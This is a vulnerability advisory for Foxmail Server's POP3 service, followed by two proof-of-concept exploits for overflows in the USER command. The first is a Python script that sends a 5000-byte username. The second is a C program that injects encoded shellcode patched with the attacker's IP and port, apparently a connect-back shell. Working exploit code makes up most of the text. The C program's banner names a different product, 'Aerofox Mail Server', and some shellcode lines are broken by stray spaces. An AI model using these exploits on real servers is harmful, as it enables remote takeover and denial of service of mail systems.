AUTHOR:
(Fortinet, inc)
xouyang<xouyang_at_fortinet.com> <oyxin@segfault.cn>

PRODUCTS:
Foxmail Server. A Mail server for both Windows and linux.

AFFECTED VERSION:
Foxmail server for windows version 2.0 (latest). I've just tested windows server, the linux version may be vulnerable too.

Description:
Foxmail-the Email client application is the most famous software product in China. Chinese version is sold to more than 3 million users and English version to over 20 countries. It is listed as "Top Ten Domestic Software" and evaluated as "5 Star Soft
ware" by ZDNET.
BODA s NT/Linux-based email server system is featured by stability, security, ease of installation and maintenance, rich functions. Different versions of product can meet the varied needs ranging from small/medium- sized enterprises to ISPs/ICPs/ASPs.


DOWNLOAD:
http://www.foxmail.com.cn/english/english_3.htm
http://fox.foxmail.com.cn/cgi/downlo...install_nt.cgi

Detail:
A vulnerabilities have been identified in Foxmail server, which can be exploited by malicious people to cause a DoS (Denial of Service) or maybe compromise a vulnerable server.

The vulnerabilities are caused due to boundary errors in the handling of the "USER " commands in POP server. A malicious person can exploit this by supplying a long, specially crafted argument to the vulnerable commands, which will result in a buffer
overflow.

1.Heap overflow
Send a long username and recv the packet will cause a heap overflow.
00401BEA |. 8902 mov dword ptr ds:[edx], eax
00401BEC |. 8950 04 mov dword ptr ds:[eax+4], edx

EAX = 41414141
EBX = 41414141

Successful exploitation will allow remote execution of arbitrary code with SYSTEM privileges.

2.format string
Sending a username like "%n%n" cause a DOS attach.

3.stack overflow.
Successful exploitation will allow remote execution of arbitrary code with SYSTEM privileges. Swan provides an exploit to test this bug.


FOXmail POC exploit:
1.heap overflow
#!/usr/bin/python
#Code by OYXin
#oyxin_at_segfault.cn
import socket
import sys
import getopt


def usage():
print "Usage: foxserver.py -h host -p port"
sys.exit(0)

if __name__ == '__main__':

try:
opts, args = getopt.getopt(sys.argv[1:], "h:")
except getopt.GetoptError, msg:
print msg
usage()

for o,a in opts:
if o in ["-h"]:
host = a
if o in ["-p"]:
port = int(a)

evilbuf = "USER " + "A"*5000 + "\r\n"
evilbuf2 = "PASS oyxin\r\n"
evilbuf2 += "STAT\r\n"
evilbuf2 += "RSET\r\n"
evilbuf2 += "QUIT\r\n"

try:
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect((host, port))
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send(evilbuf)
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send(evilbuf2)
except socket.error, msg:
print msg

sockfd.close()

2.stack overflow
#Code by Swan(swan@0x557.org)
#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#include <conio.h>

#pragma comment (lib,"ws2_32")

#define PORT_OFFSET 118
#define IP_OFFSET 111

char Shellcode[] = "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\ x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\ x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\ x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\ xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\ x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\ xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\ xF1\x9B\x99\x99"
"\xAC\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\ xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\ xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\ xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\ xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\ x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\ xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\ xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\ x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\ x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\ x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\ x8F\x34\x40\x9C"
"\x57\xE7\x41\x7B\xEA\x52\x74\x65\xA2\x40\x90\x6C\ x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";

char szUser[] = "user 1231231231231234567890abcdefghijklmnopqrstuvwxyz12 34567890a"
"bcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmn opqrstuvwxyz123"
"4567890abcdefghijklmnopqrstuvwxyz1234567890abcdef ghijkklmnopqrst"
"uvwxyz1234567890abcdefghijkklmnopqrstuvwxyz123456 7890abcdAAAAijk"
"lmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwx yz1234567890abc"
"defghijklmnopqrstuvwxyz1234567890abcdefghijklmnop qrstuvwxyz12345"
"67890abcdefghijklmnopqrstuvwxyz1234567890abcdefgh ijklmnopqrstuvw"
"xyz1234567890abcdefghijklmnopqrstuvwxyz1234567890 abcdefghijklmno"
"pqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz12 34567890abcdefg"
"hijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrst uvwxyz123456789"
"0abcdefghijklmnopqrstuvwxyz1234567890abcdefghijkl mnopqrstuvwxyz1"
"234567890abcdefghijklmnopqrstuvwxyz1234567890abcd efghijklmnopqrs"
"tuvwxyz1234567890abcdefghijklmnopqrstuvwxyz123456 7890abcdefghijk"
"lmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwx yz1234567890abc"
"defghijklmnopqrstuvwxyz1234567890abcdefghijklmnop qrstuvwxyz12345"
"67890abcdefghijklmnopqrstuvwxyz1234567890abcdefgh ijklmnopqrstuvw"
"xyz1234567890abcdefghijklmnopqrstuvwxyz1234567890 abcdefghijklmno"
"pqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz12 34567890abcdefg"
"hijklmnopqrstuvwxyz\r\n";
unsigned char szPass[] = "pass siglos\r\n";



void help(char *program)
{
printf ("================================================ ========\r\n");
printf ("Aerofox Mail Server 1.1.0.1 POP3 Temp Dir Stack Overflow\r\n");
printf ("================================================ ========\r\n\r\n");
printf ("Usage: %s <Host> <Your IP> <Your port>\r\n", program);
printf ("e.g.:\r\n");
printf (" %s 127.0.0.1 202.119.9.42 8111\r\n", program);
printf ("\r\n The ret address is 0x7ffa1571.\r\n");
exit(0);
}

SOCKET Connect(char *u_host ,unsigned short u_port)
{
WSADATA wsaData;
SOCKET sock;
struct hostent *r;
struct sockaddr_in r_addr;
int timeout = 1000;

if(WSAStartup(0x0101,&wsaData) != 0)
{
printf("error starting winsock..");
return -1;
}
if((r=gethostbyname(u_host))== NULL)
{
return -1 ;
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))= = INVALID_SOCKET)
{
return -1 ;
}
r_addr.sin_family=AF_INET;
r_addr.sin_port=htons(u_port);
r_addr.sin_addr=*((struct in_addr*)r->h_addr);

if(connect(sock,(struct sockaddr *)&r_addr,sizeof(r_addr))==SOCKET_ERROR)
{
printf("Can't connect\n");
exit(-1);
}
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout,sizeof(timeout));
return(sock);
}

void Disconnect(SOCKET s)
{
closesocket(s);
WSACleanup();
}

void tr(SOCKET s)
{
char buff[1500];
memset(buff, 0, sizeof(buff));
recv(s, buff, sizeof(buff), 0);
printf("%s\r\n",buff);
}

void SlowSend(SOCKET s, char *buf, int p)
{
//send(s, buf, sizeof(buf),0);
//send(s, "\r\n", 2,0);
for(unsigned int i = 0; i < strlen(buf); i++)
{
Sleep(p);
printf("%c", buf[i]);
send(s, (char*)&(buf[i]), 1, 0);
}
}

void main(int argc, char *argv[])
{
/*_asm{
mov eax,90909091h
dec eax
a: dec ebx
cmp [ebx], eax
jnz a
push ebx
ret
}*/
if(argc != 4)
help(argv[0]);

unsigned short port;
unsigned long ip;

port = htons(atoi(argv[3]))^(USHORT)0x9999;
ip = inet_addr(argv[2])^(ULONG)0x99999999;
memcpy(&Shellcode[PORT_OFFSET], &port, 2);
memcpy(&Shellcode[IP_OFFSET], &ip, 4);

SOCKET s = Connect(argv[1], 110);
tr(s);
memcpy(szUser + 244, "\xCC\x90\xEB\x04\x71\x15\xFA\x7F", 8);
memcpy(szUser + 244 + 8, "\xB8\x91\x90\x90\x90\x48\x4B\x39\x03\x75\xFB\x53\ xC3\x90\x90\x90\x90", 17);
memcpy(szUser + 244 + 8 + 17, Shellcode, sizeof(Shellcode) - 1);

SlowSend(s, (char*)szUser, 1);
getch();
tr(s);
SlowSend(s, (char*)szPass, 100);
tr(s);
Disconnect(s);
return;
}

THANKS:
Thanks swan for providing his cool exploit.